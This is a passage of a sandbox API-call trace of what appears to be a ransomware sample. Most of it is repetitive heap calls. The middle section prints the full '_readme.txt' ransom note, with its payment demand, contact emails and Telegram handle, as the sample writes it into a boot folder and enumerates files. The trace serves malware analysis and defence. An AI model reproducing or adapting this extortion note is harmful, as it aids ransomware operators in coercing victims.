hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.488] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.488] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.489] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.489] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.490] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.490] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.490] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.490] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.490] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.490] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.490] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.490] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.490] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.490] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.490] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.490] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.490] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.490] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.490] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.490] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.490] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.490] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.490] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.490] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.490] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.490] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.490] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.490] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.490] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.490] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.490] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.490] PathFindFileNameW (pszPath="C:\\Boot\\el-GR\\") returned="el-GR\\" [0124.490] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.490] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.491] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.491] PathFindFileNameW (pszPath="") returned="" [0124.491] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.491] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.491] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.491] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.491] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.491] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.491] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.491] PathAppendW (in: pszPath="C:\\Boot\\el-GR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 1 [0124.491] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.491] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.491] PathFileExistsW (pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 0 [0124.491] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.492] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.492] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.492] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.492] CreateFileW (lpFileName="C:\\Boot\\el-GR\\_readme.txt" (normalized: "c:\\boot\\el-gr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.492] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.492] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.492] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.492] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.492] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.492] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.492] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.492] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.492] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.492] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.492] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.493] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.493] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.493] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.493] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.493] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.493] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.493] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.493] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.493] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.493] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.493] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.493] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.493] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.493] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.493] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.493] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.493] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.493] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.493] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.493] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.493] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.493] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.493] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.493] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.493] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.493] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.493] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.493] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.493] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.493] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.493] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.493] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.494] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.494] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.494] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.494] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.494] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.494] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.494] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.494] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.494] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.494] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.494] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.494] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.494] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.494] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.494] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.494] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.494] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.494] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.494] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.494] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.494] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.494] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.494] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.494] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.494] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.494] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.494] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.494] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.494] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.494] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.494] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.494] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.495] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.495] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.495] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.495] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.495] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.495] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.495] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.495] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.495] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.495] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.495] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.495] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.495] 